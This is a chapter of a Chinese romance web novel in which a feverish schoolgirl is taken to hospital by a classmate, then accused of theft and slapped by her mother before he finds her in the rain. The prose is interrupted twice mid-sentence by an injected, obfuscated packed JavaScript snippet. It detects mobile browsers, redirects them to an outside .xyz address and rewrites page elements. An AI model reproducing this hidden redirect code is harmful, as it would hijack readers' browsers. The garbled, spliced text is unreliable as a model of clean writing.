沈择屹眉间微皱,声音有些急促。 林听澄呆滞地看向他,仿佛在问他—— 你看我这个样子像是知道吗? 随后抬起手,很随意地撩起刘海,摸着自己的额头,但还是感受不到什么特别强烈的温度,和自己手心的温度差不多。 她是真的没有意识到自己在发烧。 只是觉得自己没什么精神,很疲倦,很想睡觉。 沈择屹无奈地叹气,他不想和一个烧到无意识的人计较。 于是直接打了辆车,送她去医院。 出租车开了几分钟后,林听澄才回神。 她问:“我们干嘛去?” 沈择屹回答:“去医院,你发烧了。” 话音落下,空气安静了一会儿。 前面的司机大哥从口袋里掏出一个口罩默默戴上。 到达医院后,沈择屹一个人忙前忙后。 完成挂号、排队、签到……一系列流程后,林听澄“喜提”两瓶点滴。她确实发烧了,烧到了38.7度,且温度还在持续上升。 林听澄这会儿不反驳了,右手被戳着针,安静地坐在输液室里,鼻腔被消毒水的味道所充斥。 沈择屹则坐在她旁边的空位置上照顾她。问她喝水吗,她摇头;问她饿吗,她也摇头。 但他还是去医院附近的便利店买了点吃的喝的,现在也确实到饭点了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15155902|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林听澄不好意思接受这一切,一直强调自己不饿,但其实,她今天还没有吃东西。 她低下头,不敢看他。 又觉得彼此之间太过于安静,随意找了个话题。 她问:“你平时经常做志愿者吗?” “嗯,每周一次。” 沈择屹每周都会抽出半天时间去福利院或者养老院做志愿者活动,已经坚持两三年了。 他边说边拧开牛奶瓶盖,强制将牛奶塞到她手里。 “喝点吧,补充点能量。” 林听澄指尖微微蜷起。 突然觉得手心那瓶牛奶过于沉重,让她不知道该说些什么回应他。 她垂下眼,认真思考,好一会儿,才缓缓开口。 “我仔细想了下。” “应该是昨晚就发烧了,我感觉到有点不舒服就早早睡了。今早起来后洗了个澡,可能加重了,导致温度不断升高,我的身体可能对温度的适应性比较强,所以没有感觉到。” “对不起,给你添麻烦了。” 昨晚回到家,她确实觉得身体有些发寒,但没当回事。 半夜迷迷糊糊地醒过来几次,觉得浑身难受,爬起来喝了点热水又继续睡了。 直到今天上午发生的这一切,她才意识到自己发烧了。 林听澄解释得很诚恳,清醒后的她已经能够认知自己的身体状态,并且做出分析,真诚地向沈择屹道歉。 “所以你靠睡觉麻痹自己身体不舒服?” 沈择屹语气有些冷硬,眼底泛出细微的波澜。 林听澄见他这副态度莫名心慌,试探性问道:“你……生气了吗?” 她眼神飘忽,与他的目光相视时,格外的底气不足,但还是继续解释:“发烧的话,其实吃点药就没事了。” 对林听澄来说,发烧真的是常态。 因为早产和后天营养不良,她的免疫力较常人会更弱一些。每到换季都容易感冒发烧,家里常备的药就是退烧药。 和外婆生活时,为了不让外婆操心,生病都是自己吃药。久而久之,她的身体对温度的适应性似乎真的强了一些,所以今天发烧,她的感觉不强烈。 沈择屹看着她,一时之间不知道该说些什么。 缓缓叹了一口气,语气平淡了一些。 “我没有和你生气。” 顿了下,他抬眸,眼眸深沉。 “你家里没人吗?你生病了他们都不管的吗。” 话音落下的那一瞬,空气凝滞,时间被拉得绵长。 林听澄下意识躲避他的视线,逃避这个问题。 沈择屹不确定自己是否问了什么不该问的问题,等了好久也没等到她的问答。 直到,他看见林听澄低下头,长发遮住她的侧脸,睫毛微微发颤,无措地用手指勾缠着衣角, 他确认,这个问题不该问。 他起身,准备去喊护士换第二瓶点滴。 林听澄却叫住了他—— “沈择屹。” 她声音轻飘飘的,喊完这一声,眼睛缓缓闭上。 “没人管我的。” 周围安静了许久。 林听澄以为沈择已经离开,如释重负地松了口气。可偏偏这时,一道低沉声音在耳畔响起: “不是还有我么。” 14.一六年夏 【在他面前掉下了第一滴眼泪,我的狼狈与不堪无处遁形,尽数展露。我能感受到心脏的跳动,也能感受到每一次跳动都带着绵延的痛,像无声的潮水,将我淹没。】 ——小澄同学.FM0106 · 林听澄睁开眼。 她看见沈择屹笑着注视自己,眼神漆黑,神色认真。 她呆滞了良久,直到他的背影消失在自己的视线里,才悄然掉下了一滴泪。 等沈择屹再回来时,她已经靠着椅背睡着了。 他轻声拜托护士换药的动静轻一些,随后坐在她身旁,取出外套轻轻披在她身上,安静地陪她输完最后一瓶点滴。 沈择屹不知道,其实林听澄没有睡着。 她只是不知道该怎么面对他,才选择了装睡逃避,等两瓶点滴全部结束,她才睁开眼。 “今天真的麻烦你了。” “医疗单都给我吧,我身上没带钱,周一把钱带给你。” 林听澄按压着刚输完液的伤口,着急忙慌地向沈择屹要那些单据。 沈择屹下意识摸了下口袋,偏过头:“那些单据我扔进垃圾桶了。再说了,打个点滴也没多少钱,不用给了。” 林听澄怔住,仰头看向他。 她不知道他说得是真是假,但还是选择相信。 她点了下头,轻声细语:“你不是手机扫码付款的么,应该有记录吧,辛苦你计算一下,把数字发给我。不过我只能付现金,可以吗?” 沈择屹说不出话。 他只是不想让她付钱,结果她这会儿反应这么机灵,医疗单和付款记录什么都想到了。 他叹息,扯开话题:“我先送你回家吧。” “不用,不想麻烦你了。我自己回去就行。” 林听澄脱口而出,拒绝得十分明确。 沈择屹顿了一下,但还是主动朝她靠近一步,伸出手想要扶着她:“那我帮你打个车吧,这天看着快要下雨了,你生着病就别坐公交车了。” 仅是刚迈出一步,林听澄便往后退了一步。 她低下头,愧疚地向他道歉:“对不起,真的不想麻烦你了,我可以自己安全到家。” 沈择屹不太清楚她怎么突然这么回避自己。 但是他不想因为自己的执意给她带来压力,最终选择尊重她的想法。 只是问了她一句:“到家后能不能给我报个平安?” 林听澄点头,答应了。 沈择屹将她送到车站,陪着她等到她坐的那班公交车,亲眼看着她坐上去离开。 半小时后,林听澄拖着一身疲倦回到了家。 林纭正坐在沙发上,脸色看起来不太好。 她没什么精神,打了声招呼便要回房间休息。 林纭却叫住了她,将手中的一沓现金猛地砸向她的脸,钞票在空中散开,零落地飘洒在地面上。 林听澄愣住了,她呆站在原地。 林纭怒瞪:“你的钱哪来的?” 时间静止了好一会儿。 林听澄似乎在消化她的语言和举动,随后大脑给出反应:“你去我房间翻我的东西了?” 林听澄冲进卧室,里面一片狼藉。 衣服和书本散落一地,书桌的抽屉被完全拉开,里面的东西被翻得乱七八糟。而外婆留给她的那沓钱,只剩下一个空荡荡的信封,孤零零地躺在桌角。 “你的房间?你的东西?” “有没有搞错,这个家都是我的,我想去哪个房间翻哪个抽屉都是我的自由。” 林纭气笑了,扯着嗓子和林听澄嘶吼。 “我就问你,钱是不是你偷的?” “我这里少了五千,你那儿凭空冒出五千,是不是你偷的!” 林纭之前在卧室里放了五千块,准备今天去银行存起来。结果找了半天没找到,她忽然想起上午林听澄急急忙忙地出门。 于是,她去她的房间翻找了一番,发现了抽屉里的五千块。 林纭当时还在想,别看她平日里一副安静乖巧的样子。 关键时候脑子居然这么灵光,知道把五千块整钱换成零散的纸币,这样不会引人注意。 和她父亲简直一个样。 林听澄在阵阵刺耳的声音中僵住。 她知道林纭不喜欢她,甚至恨她。却从未想过,自己在她心里竟是如此不堪。 林听澄觉得有些呼吸不畅,她缓了又缓。 一字一句,坚定道:“我没有,那五千块本来就是我的。” 林纭仍觉得她在嘴硬,手叉着腰满屋子徘徊走动,尖锐的声音贯彻在屋顶。 “你的?你天天上学哪来的钱?” “你要是这么有钱怎么还跟我住在一起,你搬出去啊!” “还是说,你跟你爸一个德行。你爸是带着钱带着情人跑了,你呢?找了个有钱的准备跑了?” 林听澄几乎不敢相信自己的耳朵,她的妈妈竟然能说出这种话。 她屏住呼吸,咬着唇,忍住了要掉下来的眼泪,向她解释。 “这些钱是放在信封里的,上面写着‘小澄上学’,是外婆留给我的上学钱,你难道看不见吗。” 林听澄抬头看她,眼底泛红却又透着一丝坚韧。 外婆一共给她留了六千块钱,她平日里的开销全靠这笔钱。饭卡、公交卡,买书本作业,偶尔添置几件衣服……零零散散的花销后,如今剩下五千一。 “你可别逗我笑了。” “你外婆没上过学,也不识字,更别提她会写字了。” “林听澄,你现在怎么变成这样了?说谎都说得一本正经,没有丝毫羞耻吗?” 林纭自然不会听她的解释。 在她看来,林听澄和她爸一个样,满嘴谎话,遭人嫌弃。 “我变成这样?难道不是你对我充满了恶意和误解吗?” “在你心里,你有把我当过你的女儿吗?你有发现我身上的一点好吗。” “你没有,你对我除了恨,还是恨。” 林听澄红着眼眶盯着她,发出的声音虚弱又嘶哑。 “外婆是没上过学,也不识字,但她很爱学习。” “她一直让我教她写字,学会写自己的名字后,又让我教她写我和你的名字,可惜年纪大了,记性不好,只学会‘澄’和‘纭’。” 林听澄不想提及外婆。 两个字像是她泪腺的开关,往事的一幕幕全都回荡在脑海里。 外婆第一次学写字时,笔画都写不顺,她却坚持要学习“澄”字。 林听澄和她说:“外婆你有自己的名字,你要先学会自己的名字。” 外婆觉得有道理,学了好几个月终于学会了自己的名字。 之后她又想学林听澄和林纭这几个字,可惜还没全部学会,外婆就不在了。 这几句话似乎是戳到了林纭的痛处。 她说不出话来,只是直愣愣地站在原地。 林听澄身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15159241|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些撑不住,她倚靠在墙上。 “你不会还要说,我拿走了你的钱后,怕被你发现,特意找地方兑换成零零散散的现金吧。” “你放心,我没那个时间。” “如果真怕你发现,我会直接办一张银行卡,把钱存进去,这样你永远都不会发现。” “这五千块,是外婆辛辛苦苦给我攒着上大学的,与你无关。” 林听澄呼吸渐渐平稳,她蹲下身,将地上那一张张纸币全部捡起。 眼泪氤氲在眼眶,一边捡一边向外婆道歉。 她好像,把外婆留给她的爱弄脏了。 林听澄捡完钱后,重新收拾好放回信封里。 她觉得自己有必要办张银行卡,把钱存进去,不然下一次又不知道是什么锅甩到了自己身上。 她站在林纭面前,与她平视,语气平淡。 “你恨我,我能理解,毕竟我爸给你带来了伤害。” “但是你没有理由恨外婆,更没有理由在外婆去世的那几天对她不管不顾,你不配做外婆的女儿。” 话音落下。 “啪”一声,清脆的巴掌声在房间里回荡。 林听澄僵在原地,右脸像是被火焰灼烧般火辣辣地疼。原本强忍的泪水瞬间涌上眼眶,仿佛下一秒就要决堤。 可她死死咬住嘴唇,硬是将那眼泪逼了回去。 她抬起头,看向林纭,嘴角扯出一抹苦涩的笑。 “你就这么恨我吗?” “小时候你想掐死我,现在你是不是想把我打死。” 林听澄忍着情绪跑了出去。 林纭之后说了什么,她也听不清了。 可是跑出去后,她才意识到自己无处可去。 外面的雨淅淅沥沥地下着,冷风刺骨,天气灰蒙。 她漫无目的地走着,只想找个躲雨的地方,不知不觉走到了公交站台。 她缓缓蹲下,双手紧紧抱住自己的膝盖,像是要将自己整个人蜷缩起来。被雨水打湿的头发湿漉漉地粘在一起,身上冷得有些发抖,可她的脸颊却烫得厉害,像是有一团火在皮肤下燃烧。 其实她对林纭并没有太多的感情,也不会有太多复杂的情绪,毕竟她们没有怎么相处过。 可当她对自己说出那些话、对自己扇出那一巴掌时,她的心还是好疼好疼。 或许,在她心底自己还是把她当作母亲,对她抱有一丝美好的幻想。 但是现在,以后都不会了。 眼眶里的泪水与喉咙中的呜咽交织,几乎要将她彻底淹没。 她目光无神地看着前面的公交车停了又走,人流上了又下。 她有些羡慕,如果她也有能去的地方就好了。 可是,她没有。 泪水模糊了她的视线,直到眼前多了一道黑色身影。 潮湿的空气中,弥漫着淡淡的薄荷味,混合着雨水的清冷,一点点渗入她的呼吸。 她缓缓地抬起头,映入眼帘的是一把撑过自己头顶的雨伞,伞面上有两片雪花,中间写了字母L。 林听澄怔住。 视线在往上看去,她看到沈择屹俯下身为自己撑着伞,雨水落在倾斜的雨伞上,慢慢下滑滴落在他的身上。 低沉的声音混着雨声,轻轻落入她的耳畔。 “怎么又偷偷掉眼泪了。” 那一刻,林听澄清晰地感受到—— 一颗滚烫的泪珠,顺着脸颊缓缓滑落,混着雨水无声地落下。